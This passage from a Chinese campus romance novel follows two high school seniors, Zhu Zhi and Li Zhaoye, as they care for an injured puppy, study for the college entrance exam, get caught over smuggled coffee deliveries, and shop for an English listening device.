祝枝险些跌倒，被李昭野拉近后，两个人挤在一把伞下，他带着几分冷淡的眸再次看向她。
“别淋湿了。”
说这句话有点晚了，已经全都淋湿了。
祝枝垂眸看他，忧心道：“你浑身都淋湿了，要感冒的。”
面前的人还是沉默着，心情很糟糕。
“你看，是雪花带我找到你的。”说着，祝枝把小狗往他面前一递，簇拥出一道明媚的笑，歪头看着李昭野，“它好乖的，都记着你的气味了。”
没多大的小狗还能被女孩子一只手捧住，湿漉漉的毛发黏在一块，看着有些可怜，李昭野终于有了动静，他抬手，轻轻揉了揉雪花的脑袋。
小狗顺从地在他掌心拱了拱。
祝枝悄悄松了口气，她的视线落到李昭野尚未愈合的伤口处，穿着卫衣，看不出来有没有洇出血，但淋了这么久的雨，总是不好的。
“李昭野，回去吧。”她的声音温柔而有力量，透过枯燥的雨声，传到李昭野的耳朵里。
李昭野起身，高了她整个头，祝枝得跟着抬手才能把他罩在伞下。
他接过祝枝手里的伞，举高倾倒向祝枝。
走的方向却不是回家。
“李昭野。”她小声叫他。
李昭野顿住步子，低头看向她。
她的眸像小鹿似的干净，正神色认真地皱着眉，问他：“你不回家吗？”
“送你回去。”李昭野说。
他浑身都已经湿透了，还生着病，祝枝拒绝道：“先送你。”
“我不回家。”
负气的少年下颚线紧绷着，浑身的戾气很重，狼狈的湿发黏在额间，让他心情愈加烦躁起来。
手腕忽然被温热覆盖着，祝枝拧着细细的眉，轻声细语道：“你伤还没好，要赶紧洗澡换衣服。”
她乖乖软软的，李昭野胸腔里的那股火转了又转，最后只能咽下。
他语气没有起初那么硬了，但还是犟着：“我不想回家。”
祝枝想起今天听到程勇他们说的，李昭野的爸爸回来了，难道是和爸爸吵架了？
思考了一会，祝枝说：“要不你去我家吧。”
略带安抚的动作让他稍微平息下来，就像他刚刚摸雪花似的，祝枝也用同样的办法安慰急躁的他。
但这句话又在平静的心里激起千层浪，李昭野诧异地看向她，不敢相信道：“你，你怎么……”
憋了半天，他都没能憋出一句完整的话，只是整个人都因为祝枝这句大胆的邀请而火烧火燎，热气腾腾。
“我，你，你不能随随便便就把男生带回家里啊。”几乎是咬牙切齿的，李昭野说出这句话。
祝枝愣了一下，解释道：“我妈妈今天不在家的，我爸爸他——”
他整张脸都憋红了，眉头紧紧皱着，低声喝道：“不合适！”
我爸爸他在家里，可以借你身干净的衣服穿……
后半句被李昭野的低喝堵住，祝枝看着他漫上红意的脖颈和脸颊，搞得她也被带着有点害羞了，结结巴巴开口道：“不是，没有，我就是怕你伤口感染……”
“而且你你好像发烧了。”
脸这么红。
“手机借我。”
祝枝不解，但还是照做，从书包里翻出手机。
祝枝的手机屏保是一只毛茸茸的白色小狗，瞪着水汪汪的大眼睛，李昭野把手机举到雪花面前，说：“看，她用别的小狗的照片当锁屏。”
祝枝哎呀了一声，赶忙捂住雪花的眼睛。
李昭野收回视线，在软件里边寻找自己常去的酒店，一边嘀咕道：“存了我们这么多张照片，哪一张不比这个好看啊。”
打电话和前台定好房间后，他说：“现在可以送你回家了吧。”
“我自己回去就行。”
祝枝还在费劲抱着书包收拾，把手机带到学校去是个违纪行为，祝枝胆子小，每次都藏在最底下，被厚重的书本压着，翻出来费劲，把书塞进去也挺费劲的。李昭野把她怀里的雪花给拎了起来，安静等着祝枝把书包拉好拉链，然后顺势拎到手里。
“很冷，别耽误时间了。”他说。
把人送到楼下，李昭野抬了抬下巴，说：“赶紧回去吧。”
祝枝抱着书包，走了两步后又扭头。
雨虽然已经小了很多，但她干净的白鞋已经沾湿大片，轻巧地踩进水滩里，三步并做两步，快速跑到李昭野的伞里。
祝枝微微仰着头，藏在头发里的助听器已经泡了些水，有些不舒服，但她还是很想再安慰李昭野一句。
“李昭野，你别不开心。”
心脏被她悄悄撬开，灌进一股暖流，随着心室肌肉收缩，涌向四肢百骸。
李昭野眉头微舒，他伸手揉了揉祝枝额前濡湿的发，抹去嫩生生的脸颊上的水，做完后才惊觉这个越界的动作有些暧昧，他眸色微颤，下一秒便收回了手，抿唇敛眸，说：“知道了。”
目送祝枝进了楼内，胸腔里剧烈跳动的心跳声已经盖过雨声，李昭野不自然地摸了摸自己发热的耳朵，低头逗了雪花两下，眸里的情绪愈加浓烈。
祝枝弄得一身狼狈回家，赶紧洗了个澡，然后把取下来的助听器细细擦干净了些，放在桌上充电的手机屏幕倏地亮起。
是李昭野发来的微信。
-伤口没事
-图片
-现在带这只脏狗去洗澡
图片是李昭野坐在出租车后座拍的，雪花乖乖地趴在他的膝盖上，祝枝捧着手机轻笑，回复道。
-不能骂它，它今天可是立了大功，不然谁找得到你。
过了一会，李昭野又发来一条消息。
-祝枝你想考哪个大学？
屋内温度很是舒服，窗外的雨声淅淅沥沥，敲击着玻璃，无数次被问及这个问题时的紧张和焦躁感消失，祝枝知道，对李昭野如实回答，是不会被笑话的。
-想考南大物理系。
-分数不是很有把握，还需要努力。
没有嘲
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笑，没有评价，也没有权衡利弊的分析，李昭野只回了一个字。
-好。
祝枝睡前喝了杯感冒药，但第二天醒来时还是有些昏昏沉沉的。现在凌晨的天还很昏暗，温度低，不少学生们都哆哆嗦嗦地走在路上。
赶到学校时，天已经彻底亮了。
教室里的读书声此起彼伏，大家都埋头苦背，巴不得脑容量能在短时间内膨胀爆炸，把所有的重点内容全都记下来。
祝枝照例拿出英语课本，对英语的厌恶已经到了光是看着心里就忍不住烦躁的程度，她深吸了一口气，硬着头皮开始记单词。
单词在脑海里掠过一圈，但没能留下什么痕迹，祝枝记得脑袋都有些发昏了，慢吞吞打了个哈欠后，眸里盈上一层水雾。
待到视线清明后，李昭野从前门走了进来。
他换了身干净衣服，男孩子抗冻，就算是还没升温的天气，依旧穿着帅气单薄的卫衣，校服随意挂在手肘处，落座后塞进抽屉里。
“早。”祝枝说。
李昭野也回了句早，然后打了个漫长的哈欠。
祝枝也被传染，跟着又打了一个。
“困得不行。”
特别是天气还冷着，起床上学简直是煎熬。
比往常要沙哑很多的声音一下就被祝枝听出了端倪。
“你是不是感冒了啊？”
“有点。”
岂止有点，声音沙哑得厉害，整个人看起来也没什么精神，毕竟难得大早赶到学校，肯定是没睡够的。
祝枝从抽屉里翻出两包感冒药，递给李昭野。
“你怎么什么都带了？”
她早上也不太舒服，这是带来学校中午泡的份量，但李昭野明显比她要严重得多。
听了祝枝的解释，李昭野拒绝道：“这点病还不至于喝药。”
这句话紧跟的是一串剧烈的咳嗽，祝枝眉头都跟着他痛苦的表情皱了起来。
不等李昭野再次拒绝，她起身，拿着李昭野的杯子，倒了一杯滚烫的水回来。
两包药都被抖搂进杯子里，很快消散开来，把杯里的液体颜色染深。
“凉会再喝吧。”祝枝提醒他。
李昭野发现她要犟起来，自己还真没什么办法，只得应下。
“行。”
收回视线后，祝枝喃喃道：“昨天淋了雨，雪花会不会也生病了？”
“它已经在医院了。”
“啊？”她诧异。
“昨天送去洗澡，发现身上有几处摔痕，还挺重的。”
“我看见了，它在雨里跑不稳，摔跤了。”
祝枝眉头轻皱，面露忧色。
“别担心，处理好伤口，在宠物医院养着呢。”
她小声叹气：“好可怜。”
明明是在可怜雪花，自己露出来的表情却更叫人心里头泛软。
“放学要不要带你去看看它？”
“好。”她重重点头。
“继续记单词。”
“你记得喝药。”祝枝忽然又想起这事。
笑意无意识地在眉间舒展开来，李昭野合上面上的书，嘀咕道：“知道，啰嗦。”
31. 31
从早到晚一直在教室里待着，比想象中还要枯燥，李昭野前后打了好几次哈欠，昏昏欲睡的，但一直强撑着精神听课，祝枝都觉得他有点奇怪。
也不知道今天少爷是这么忽然转了性，开始听课，甚至还能看到他在书上写笔记。
后排好几次骚动都被李昭野冷声制止，今天一整天，教室里的纪律都好到不行。
可刚吃饱饭的第五节课实在太过于舒服，临时兼职纪律委员的李昭野也有点扛不住了，还强撑着，眉头微皱，浑身散发着没睡饱觉的不爽。
“很困的话，可以先睡一会。”她小声凑近道。
李昭野把书往桌上一摆，说：“不睡。”
“只睡十分钟的话，会比一直打瞌睡要好些的。”
没想到李昭野忽然坐直，看着祝枝，正色道：“祝枝，高三了，要好好学习。”
这话倒是让祝枝一噎，没想到李昭野一下这么有觉悟，她干巴巴地说了声好吧。
几分钟后，李昭野毛茸茸的脑袋探了过来，他已经困得眸里盈了层水雾，帅气的脸陷在臂膀里，锋利的眉微蹙，额前的头发翘起好几缕，看起来呆呆的。
“那我只睡十分钟，你记得叫醒我。”
祝枝总觉得李昭野某些时刻和他的小狗非常像，比如现在。
她忍不住弯唇笑，说：“好。”
李昭野睡得非常熟，呼吸声平稳，后排憋了一整个上午的几个人开始闹腾起来，小声讨论着球赛和球鞋，祝枝瞥了眼趴在桌子上、埋头睡觉的李昭野，想起他昨天的异常，看来大概率是跟爸爸吵架了，才会离家出走的，今天又转了性似的开始学习。
既然这样，那她一定要好好帮李昭野，带着他一块学习，互帮互助，把分数提上来。
十分钟刚到，祝枝就伸手推了推李昭野的肩膀，小声喊他。
“李昭野，该起来了。”
她那点劲猫似的，压根推不动，祝枝又放大了些声音，叫他：“李昭野，李昭野！”
程勇看了眼她磨磨唧唧的温柔动作，伸手在李昭野肩膀上用力一推，嚷道：“野哥，你同桌喊你呢。”
声音很大，前排班长递过来一个警告的眼神。
李昭野被吵得心烦，低声咒了句脏话，用手肘顶开程勇的动作。
“滚开。”
好凶的起床气啊。
程勇和祝枝对视，她小心翼翼地做了个惊恐的表情，吓得缩回了脑袋。
不喊了，不喊了……
昏昏沉沉的，一觉睡到下课，李昭野醒来时表情不佳，他手长脚长的，蜷缩在座位前有些委屈了，本就有旧伤的肩膀疼得厉害，阴郁的表情在对上祝枝视线的那秒顿住。
李昭野肩膀疼得厉害，他揉了揉紧皱的眉心，下颚线锋利，灼热的黑眸像是被掠夺走猎物的狼犬，带着几分强势。
“我叫了你，但是你没醒。”祝枝立马小声解释道。
祝枝还当他是错过了上课学习的时间生气，于是细声安慰道：“刚开始用功肯定很辛苦的，你已经比之前要进步很多了，慢慢来呀。”
李昭野没说话，她又安抚道：“你还困吗？我刚刚点了咖啡，应该快送到了。”
李昭野可算开口了：“你都敢把手机拿出来了。”
手机这种违禁品，就算已经在学校到了猖獗的程度，祝枝也是要塞到书包最底下的，不到万不得已的时刻是不会拿出来的。
见他不生气了，祝枝悄悄松了口气，腼腆一笑，说：“但是……得偷偷去拿一下。”
学校对点外卖这事可是明令禁止的，被再三强调的事，在祝枝眼里简直堪比天条，今天还真是鼓足了勇气，在上课的时候偷偷摸出手机点了两杯，备注的不要打电话。
外卖员也很懂，给她发消息说送到学校拿外卖的老地方。
问题是祝枝不知道这个老地方是哪。
听完她的话，李昭野说：“程勇熟，等会让他去拿。”
“这不好吧……”
她的声音早就被李昭野的叫程勇去拿外卖的声音给盖住了。
程勇说：“好嘞，正好我也准备去趟小卖部，等下给你带回来哈。”
两三个人成群结队地去小卖部，守自习的老师清点人数的时候发现少了几个人，班长熟练地说明他们几个又上厕所迟到了。
这厕所可就上了很久，大半节课都没回来，祝枝有点紧张，凑过去问李昭野：“怎么还没回呀？他们不会被抓了吧？”
“不会的，程勇去那拿外卖比回自己家还熟练。”
“程勇！又是你啊！我看你天天来拿外卖，比回你家都要熟练了，又带手机来，你多少个手机都不够我没收的！”光头强指着他的鼻子骂，估计是这段时间骂学生骂太多，嗓子都哑了。
程勇略有些苦恼地挠了挠头，心想着这也太倒霉了，才刚拿到咖啡袋子，就被路过的教导主任抓了个正着。
“你以为我不知道你们一个个都点外卖送到这啊？我今天不坐办公室了，就是要来抓你们这些不读书的，偷带手机的。”
熟悉的话术已经听了太多次，程勇被领着赶到教室交手机的时候，动静大到所有人都齐刷刷扭头。
祝枝错愕地看着程勇拎着咖啡纸袋，从善如流地从书包里翻出手机，递给教导主任，顺便把咖啡和从小卖部买回来的吃的，借机全都放到桌子上，乖乖跟着主任走了。
“这……”祝枝急得想起身。
李昭野倒是不怎么着急，他把咖啡纸袋拎了过来，拿出来看了眼上面的标签。
“燕麦拿铁全糖加奶，是你的吧？”
另一杯是无糖美式，祝枝还给他点了热的，非常难喝，也非常提神。
“程勇被抓到了，怎么办啊？”祝枝有些着急，“外卖是我点的，我得去替他解释。”
“没事的，他进教导处也像回家一样熟练。”
收了手机倒不算大事，挨了一训斥，程勇还能笑眯眯地回教室，因为自己桌上的冰可乐被同桌喝掉了而跟他打闹。
“程勇，程勇。”祝枝小声叫他，对他招了招手。
程勇停下动作，走到她面前。
“真对不起啊，害你手机
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被没收了。”
“没事的，放学就会还我了。”
“这么快？”
祝枝还以为怎么的也要没收到毕业呢。
“都到现在这个时候了，我们这种不读书的，学校也不会强硬去管了，只要我们在学校老老实实待着，不出事就行。”程勇解释道，“就是被罚了扫操场，但没事，野哥会替我去的对吧？”
他们之间不成文的规定，干了坏事被抓了不会把对方供出来，但所有的惩罚得有对方来做。
李昭野头也没抬，盯着桌子上的完形填空，说：“扫操场可以，检讨书我不写。”
祝枝赶忙道：“那我来写。”
“真的，那太好了。”
程勇举了ok的手势，祝枝心里的愧疚感可算被冲淡了些。
但手势不是代表ok，是代表字数。
“三千字。”
祝枝：“啊？这么多？”
李昭野轻轻地啧了一声。
程勇马上改口：“我开玩笑啦，还是跟之前一样，到网上找人帮忙写一下就行。”
“没事的，我来写吧。”
女孩子笑起来乖又甜，微微仰着头，坐在李昭野身边，小小一只，像个糯米糍似的，浑身透着和他们混不吝那股劲不同的好学生气息，程勇在心里偷偷感慨，难怪野哥这么护着。
教导主任把操场最难扫的一块分给程勇了，本意是惩罚，结果跟过去三四个人，一人一个扫把，边扫，边拿着扫把闹个不停，心情倒还不错的样子，压根没有被惩罚了的样子。
祝枝坐在一旁的台阶上等待，她的视线落在只写了检讨书三个字的本子上，思绪乱飘之际，抬头瞥见正和王宇轩他们几个闹作一团，笑得张扬的李昭野。
傍晚时分温度比早上要高，他把校服外套留在教室里，只穿了件白色卫衣，简单的款式被肩宽腰窄，清瘦有劲的身材穿得很是好看，风将他细碎的黑发吹开，露出优越的眉眼扫把被他撑在手肘下，眉眼间极为淡薄的笑意晕开。
察觉到祝枝的视线，他放下扫把走向她。
“别听程勇的，他有个经常拜托帮忙写检讨的朋友，五十一篇，省事。”
祝枝总是在一些事情上很有自己的原则，她埋头，细软的黑发从肩侧滑落，露出纤细白嫩的脖颈，细细的声音混在风里，听不太真切。
“这事本来就是因为我才发生的，我写就行。”
李昭野挨着她坐下，两条长得不行的腿折在身前。
“那你要从他这学期开学干的坏事写起，全都进行深刻反思，才能凑够三千字。”
祝枝正想问他有些什么事，李昭野便像报菜名一样念了出来。
“带手机，欠作业，迟到，逃学，打架，谈恋爱——”
“啊？他谈恋爱啊？”祝枝惊讶。
“不对，不算谈恋爱，他单方面的，情书刚递过去就被那个女生的同学发现，直接举报了。”
“……好惨。”
“确实。”
“我是说那个女生。”
“……这也确实。”
32. 32
祝枝近段时间到医院的次数比较频繁，基本上都是来看雪花的。
漂亮的小白狗比起刚捡到的时候大了一些，但体型依旧比这个年纪的白土松要小许多，李昭野单手就能把它给包在掌心，得了主人气味的小狗可怜兮兮地蹭了蹭李昭野掌心，发出啊呜的声音。
祝枝蹲在桌子旁，黑漆漆的眸子盯着它看。
“好可怜。”
李昭野叹了口气：“怪我，没把它照顾好。”
吵完架从家里离开时压根没想到雪花竟然会跟上来，据医生说，它身上还有一处骨折，也不知道是不是在雨里跌倒了，撞到了哪里。
“恰恰就是说明你把它照顾得很好，它很喜欢你呢。”
她安慰人时总是会露出弯弯的眼睛，好听的声音像一股舒缓的水流淌进心脏，把心里的躁动都给一一抚平。
雪花还得在医院继续养着，李昭野给它升级了病房，请了专门的陪护守着。
祝枝这才知道，原来私立的宠物医院也有这么专业的团队，一个个穿着白大褂的兽医正襟危坐地围着一只小狗，画面还挺有意思的。
李昭野打断她的视线，出声道：“早点送你回家，明天再来看它吧。”
到祝枝家楼下这段路李昭野已经很熟悉了，把祝枝放了不少书的书包递还给她的时候，李昭野不解：“在学校学了一整天，还带这么多书回来，你准备看到几点啊？”
“一般是十二点睡。”
李昭野有些惊讶：“十二点睡，五点起，你都不打瞌睡？”
祝枝轻叹了口气，摇了摇头。
说实话，她压根不敢睡，也睡不着，只要一闭眼就会忍不住想自己到底去哪里凑到英语落下的几十分，又怕自己花了很多时间提英语的分，但效果寥寥，甚至自己擅长的科目还退步了。
每次一睁眼，就离考试更近了一天，留给她的时间也少了一天。
见她焦虑到不行，李昭野虽然没能感同身受，但还是轻声开口安慰：“你别着急，写完卷子留着带到学校，明天我替你改。”
“谢谢。”祝枝总想着再做点什么感激他，于是问道，“你明天想吃什么早餐？我给你带。”
李昭野基本没有吃早餐的习惯，他正要拒绝，就听到祝枝在掰着手指数：“巷口有一家小笼包特别好吃，水晶虾饺也不错，学校门口的煎饼果子也很好吃……”
李昭野轻笑了一声，调侃道：“祝枝，你话多了好多。”
祝枝愣了一下，小声嘀咕道：“也没有吧。”
只是和李昭野熟，在他面前好像能随时放下戒备，也不用再担心被嘲笑或者欺负，因为这家伙嘴硬心软，看着凶巴巴的，实际上比谁都要细心。
“你想吃什么？”
“唔……小笼包吧。”
“那就小笼包。”
祝枝笑开，眉眼温柔。
“好呀，那明天见。”
目送祝枝进了小区门，李昭野才刚走出她家小区大门，就接到王宇轩叫他一块去唱歌的电话。
“你妈不是让你禁足了吗？”
“她今天加班，我说在程勇家写作业，睡他家。”
“在程勇家写作业这种胡话都能信。”
电话那头很是嘈杂，王宇轩的声音被程勇他们几个嚎着嗓子唱我的好兄弟的声音盖住，吵得很。
李昭野轻轻皱了皱眉，说：“算了，不去了。”
“干嘛呀？你在家不也没事吗？”
“要早睡早起，明早要去学校。”
王宇轩不解：“去学校干嘛？”
“读书啊。”
“……不是，你高中早到过几天啊，怎么突然开始读书了。”
李昭野已经坐上了出租车，他拖着声音悠悠道：“我们班主任要我和我同桌互帮互助，我得去监督她。”
怎么还听出了炫耀的语气，王宇轩骂了句神经吧，电话很快被程勇抢走，他喝了点酒，晕乎乎的，嗓门特别大，大声喊李昭野的名字。
“不去不去。”
李昭野最近确实没心情出去玩，李振华前两天已经离开了，他公司的事情多，抽空挤出两天回来收拾李昭野，还没谈拢留学的事，憋了一肚子火走了。
雪花也不在家，别墅里静悄悄的，开灯后，明亮的光线将空荡的大房子完整照了出来，无处可逃的孤独在顷刻间涌遍全身。
以前倒也没觉得一个人待着会怎么样，有了只闹腾个不停的小狗之后，倒还有点不太习惯了。
房间已经被阿姨打扫过了，李昭野坐回书桌前，等待电脑打开的时间视线瞥到不远处的学校介绍手册，他拿到时只简单翻阅了一下，现下忽然来了兴趣，顺手拿过来，打开仔细看了起来。
国内对游泳项目开放单招的学校还挺多的，册子里都做了详细的介绍，他其实压根没想好以后到底要不要继续游泳，只是当下迫切地想要逃离李振华的安排。
如果硬要他二选一，他宁愿在国内读完大学，就算是继续学游泳。
忤逆李振华也是有代价的，他被停了两张卡，但这些年来存到自己账户里的钱也不少，生计倒是不用担心。
再说了，祝枝刚刚还发了好几家早餐店的介绍，看样子是打算包揽他近期的所有早餐。
祝枝又发了条消息过来。
-……完蛋今天写不了卷子了。
-？
她发过来的是一张图片，空落落的检讨书。
忘记这茬了。
-不写也没事
李昭野说。
-我先上网学学怎么写。
-祝枝没必要把上网抄现成的说的这么好听
对方发来的是一个气鼓鼓的小兔子表情包，抱着胸扭头，旁边弹出一个大大的哼字。
-这样行吗？我要不要把字写得丑一点呀？不然不像程勇自己写的。
李昭野笑得不行。
-你蛮坏的
祝枝悄悄红了脸，眸里流露出几丝俏皮。
-开玩笑啦。
-转给他看了
-别呀！
她立马把上面那条消息给撤回了，怂得很。
-出息
又是一个小兔子表情包，可爱的白兔子在地上滚来滚去，毛茸茸的，很可爱。
也不用祝枝刻意把字写难看，三千字实在是让人很难一直把字迹保持工整，到了学校，她慢
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悠悠从书包里拿出本子，向李昭野炫耀。
“我十一点就写完了。”
“不干正事，浪费时间。”李昭野淡声道。
祝枝把检讨塞进程勇的课桌里，完成这项工作后，她心终于落了地，心情都轻快了不少。
这时后门传来一声动静：“李昭野，有人找。”
陌生的女孩面孔让李昭野眉头微皱，他看了祝枝一眼，起身走向她们。
是高二的学妹，旁边跟了几个好朋友，估计是来给为首的女孩子壮胆的。
“学长，请问我可以不可以加你的微信啊？”说话的女孩穿着整齐的校服，刘海盖住害羞闪躲的视线，递给他一个盒子，脸红了一大片。
祝枝扭头看了一眼，站在后门的男孩子个子高大，简单的落肩T恤被他宽阔的肩撑起，若隐若现的青筋没在皮肤下，是蓬勃的少年气。
此时，李昭野正好也扭头看她，吓得看热闹的祝枝立马收回了视线。
几分钟后，李昭野回了位置。
她埋头写着昨晚没写完的英语试卷，一声不吭。
手指被捻了又捻，李昭野敛眸思考了一会，出声道：“高二的，不认识。”
祝枝没回头，正在绞尽脑汁回忆某个单词。
李昭野换了个姿势坐着，他单手撑着下巴，眉头微皱，心想她怎么又变难哄了。
“要加我微信，没给。”他又说。
明明是一个自己记过很多次的单词，甚至连位置都能记住，只要打开书就能看到，祝枝越想越急，越急就越想不到，浑身无意识散发着急躁和焦虑。
“祝枝——”
李昭野的声音大了些，她错愕回头，轻声道：“啊？”
眼睛瞪大，倒是一脸无辜的样子，也分辨不清她到底有没有在生气。
“要喝奶茶吗？等会让程勇他们带。”
埋怨自己记单词记得不够牢固的烦躁情绪被打断，祝枝轻轻吸了一口气，压下心里的烦躁，调整好心情后，点头道：“要喝。”
记单词什么的，再说吧。
难得有耐心解释，还被忽略的李昭野轻哼了一声，说：“跟你说话也不理，喝奶茶倒是答应得快。”
祝枝压根没听见，她无辜地啊了一声。
“你刚刚说什么了吗？”
李昭野表情有点臭。
……是不是想骗他再解释一次。
“没什么。”李昭野下颚线紧绷着，收回了目光，耳廓漫上一层淡淡的粉。
祝枝把笔转了过来，轻轻戳了他一下。
“怎么了嘛？”
过了几分钟，他把手机放到祝枝桌子上，语气硬邦邦的。
“自己给程勇发，要喝什么奶茶。”
他手机超级大一个，祝枝这回真得捧着用了，她胆子小，打两个字就要抬头检查一下老师来没来，李昭野也不催她，等她慢吞吞发完消息后，祝枝地把手机递还给李昭野，笑弯了眸，凑近道：“谢谢你请我喝奶茶呀。”
李昭野瞥了她一眼。
“看清了？”
祝枝依旧在状况外。
“嗯？”
“说了没加。”他硬声道。
33. 33
李昭野最近的训练日程很紧，祝枝记得他伤口都还没好透，也不知道频繁泡水会不会影响伤口的恢复。
以前虽然也会保持训练频率，不让身体得到长时间的休息，但因为受伤，这段时间都没怎么游泳，只能靠比以往强度更大的训练来弥补。
他现在白天训练，晚上会赶回学校上晚自习。
高三这栋教学楼的晚自习下课时间虽然和以前一样，但教学楼的关灯时间基本上都往后推迟了半个多小时，自发留在教室自习的学生越来越多，周围的人都在埋头苦学，稍微的松懈都会让整个人从疲惫当中瞬间清醒过来，学习效率比在家里高多了。
写完一套卷子后，祝枝揉着眼睛打了个哈欠，弥漫上来的困倦让她轻叹了口气。
沉寂的教室还剩下不少人，都在低头认真做着自己的事情，随着考试时间的逼近，耳边常回响起班主任的熟悉的口号，都变得激情澎湃起来，写在黑板上倒计时旁边的那句班训龙飞凤舞的，抬头便能看见，源源不断的动力，灌进十七八岁少男少女们澎湃的胸腔当中。
改卷子的过程有些紧张，祝枝感觉自己似乎陷入了某个怪圈，重复记很多遍的单词更容易遗忘，越是努力去记的单词，在用起来的时候，就会重演用各种技巧区分它的过程，最后毫不意外地选中用以作区分的错误单词。
强烈的无力感将祝枝紧紧抱住，她有些沮丧地搓了搓脸，深深地叹了一口气。
“又怎么啦？”
温热杯壁贴到祝枝脖颈侧，吓得她呼吸一滞，扭头望去，果然是李昭野这个幼稚的家伙。
“这个点谁还喝咖啡啊？给你点了杯黑糖……什么来着……”
李昭野搞不懂，这些奶茶店干嘛把饮品名字取得这么长，压根记不住。
祝枝凑近，小声念出杯子上标签的名称。
“黑糖珍珠啵啵牛奶。”
祝枝边拆开奶茶吸管，边小声嘀咕：“最近奶茶喝的也太多了，有点不健康。”
李昭野啧声，作势要去拿回来：“那还我。”
祝枝咬上吸管，冲他莞尔一笑。
“好喝，谢谢。”
“野哥，怎么就她有啊，你也太偏心了。”一旁边的人控诉道。
教室里剩下的基本上都是在埋头学习的好学生们，李昭野没想到程勇也没走：“你怎么还在啊？”
“你什么意思啊？看不起我啊，我也是在好好学习的好吗？”程勇昂头道，“就给你的小同桌带奶茶，重色轻友。”
在班上拥有绝对话题度的李昭野还是如往常般受大家关注，此话一出，一众视线投到祝枝身上，她眼睛瞪圆，吸奶茶里的啵啵的动作都僵住了。
脸皮薄的女孩子脸上很快漫上一层淡淡的粉，她局促地把脑袋埋起来，想尽量降低自己的存在感。
李昭野站在程勇座位旁边，一把抱住他的脑袋，恼羞道：“闭嘴。”
待到李昭野把程勇收拾完，回到座位上，祝枝已经整理好了最后一张卷子。
起哄的动静还不小，大多都是带着探究的意味悄悄打量着祝枝，她在班上低调惯了，大家对她的印象除了耳朵有点毛病之外，其他基本一片空白。本以为李昭野身边空了这么久，任谁来追都不为所动，到底是要什么样的才能打动他，没想到居然是祝枝。
祝枝面露窘迫，李昭野知道她脸皮薄，出声道：“少听程勇胡说八道。”
“其实你训练完可以直接回家的，不用特地绕过来给我送喝的。”祝枝说得慢，神色也很认真。
李昭野声音瞬间变大，他结结巴巴嚷道：“谁，谁是特地给你送啊？”
祝枝无辜地看向他。
“我只是顺路，正好你又说想喝东西，就随便买了一杯。”
祝枝捧着奶茶喝。
“哦。”
“还有，你看你一整天都窝在教室，每天就知道闷头读书，话都不跟人家说两句，我顺便来看看你自闭了没有。”
她轻轻瘪了瘪嘴，说：“有点自闭。”
举起来的卷子上面有她给自己打的分数，是个秀气的七十九分。
“及格了，有进步。”李昭野说。
祝枝抿了抿唇，眉间是散不去的阴霾，力不从心的感觉很消磨干劲，只能靠着那点魄力硬撑。
李昭野瞥了眼她卷子上的听力部分，写得乱七八糟，没拿几分。
“你上次不是说英语听力机坏了吗？买新的了？”
“周末去买。”祝枝喝了一口奶茶，滑溜溜的黑糖珍珠糊在喉咙里，说话的声音都软糯了不少，“你周末有空嘛？我请你吃饭吧。”
“干嘛突然请我吃饭？”李昭野瞥她。
“谢谢你最近请我喝的奶茶。”祝枝笑弯了眼，说完，她又改口，“谢谢你顺路给我带的奶茶。”
李昭野脸一热，要说的话一多，祝枝就会把语速放慢，莫名有种被调侃了的窘迫感，他嘀咕道：“又没多大事。”
真的是，高考前可不能再给她任何亲近的信号了，瞅瞅这沾沾自喜的得意样子，尾巴都要翘到天上了。
祝枝眼睛很亮，堆积在心间一整天的烦躁在聊天中逐渐消散。李昭野几乎完全点明了她的窘境，大家都忙于自己的成绩，本来就没朋友的祝枝更是找不到人说话，陀螺似的重复着每天的上学生活，还要因为成绩的停滞不前而心烦。
所以虽然李昭野说话总是刺刺的，但祝枝还是很喜欢有他在旁边，和自己有一搭没一搭聊两句天的感觉。
“上次路过的那家川菜，有可以带小狗的包间。”
“……你是想玩狗吧。”
“当然不是，主要是想感谢你。”
李昭野哼笑了一声，傲娇地挪开了视线。
周六下午现在成了高三学生唯一的空闲，她放假也穿着校服，一脸的乖巧，早早坐在商城大厅等他。
李昭野今天穿了件黑色夹克，雪花被他粗鲁地夹在手臂里，迈着修长的腿走向她。
“走吧，挑听力机去。”
祝枝点头跟上，她凑近，伸手摸了摸雪花的脑袋。
“好乖。”
“刚刚还在车上咬我手指呢。”
雪花把自己小巧的爪子搭到祝枝手指上，笑嘻嘻道：“肯定是你欺负它了。”
李昭野垂眸便能看到专心逗
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狗的女孩的侧颜，温柔的眉眼里是松弛的专注，不施粉黛的脸颊干净极了，不见一丝瑕疵，像一颗饱满的粉苹果。
李昭野轻轻敲了敲她的额头，说：“以前见了我话都不敢说，现在还敢造谣我了啊。”
祝枝捂着额头，眼里是丝丝点点的笑意。
李昭野被她这道笑意漾漾的视线盯得耳热。
被骂了还笑得这么开心，真是受不了她……
“到了，赶紧把听力机买了，拯救你那难看的听力分数。”
祝枝挑东西很认真，会各种对比，结果就是怎么都选不出最想买的，她扭头问李昭野。
“买哪个呀？”
“这个。”李昭野指了指最上面的。
“为什么？”
他的脑回路很简单：“最贵，肯定最好用。”
祝枝拿起李昭野挑的那个，凑近看介绍，自言自语道：“这个功能便宜的也有，性价比有点低。”
斟酌再三，祝枝还是挑了一个价格适中的，这一款的外放声音很大，很适合她。
祝枝现在说话比以前大声多了，李昭野也习惯把她没听清的话重复一遍讲出来，久而久之，他都有点忘记祝枝耳朵的不方便。
“你在学校写卷子，不戴耳机怎么听？”
“戴耳机会损伤听力。”她沮丧道，“先把耳机也拿上，实在的时候需要再听吧。”
其实祝枝不是很想在教室里摘助听器，一来一去的动作很容易引起其他人侧目，有时候还会有人好奇地来问她，偏偏又是在她听不清的时候，搞得祝枝很是窘迫。
两人的聊天被祝枝打断。
“雪花，你不要弄那个！”
从李昭野怀里溜出去的雪花抓到一只小狗挂件，使劲在嘴里咬，不乖得很。
李昭野拉了拉它的狗链，把狗抓回怀里。
祝枝蹲下捡查了一下，说：“还挺可爱的，都弄上口水了，买下吧。”
李昭野皱眉警告了雪花两句，只见祝枝又抓着另外一个同款的棕色小狗挂件，递到李昭野面前。
“第二件半价呢，这个可爱吗？我买给你。”
李少爷略有些不爽地啧了一声，第二件半价的东西还买给他，还真是的。
“不喜欢吗？这里还有很多其他的。”祝枝把两只小狗挂件摆在一起，说，“但我觉得这两个最可爱。”
还非要买一样的，有必要这么明显吗？能不能收敛点啊？
被别人调侃两句脸就能红得滴出血，还买情侣挂件，真不怕又被逮着笑话啊。
表情变了又变的男孩最后紧着下颚线，撇头道：“好幼稚的东西，你硬要买就买吧。”
祝枝就当他答应了，拿去一起买了单，从店里离开后，她拿出挂件，问他要哪一个。
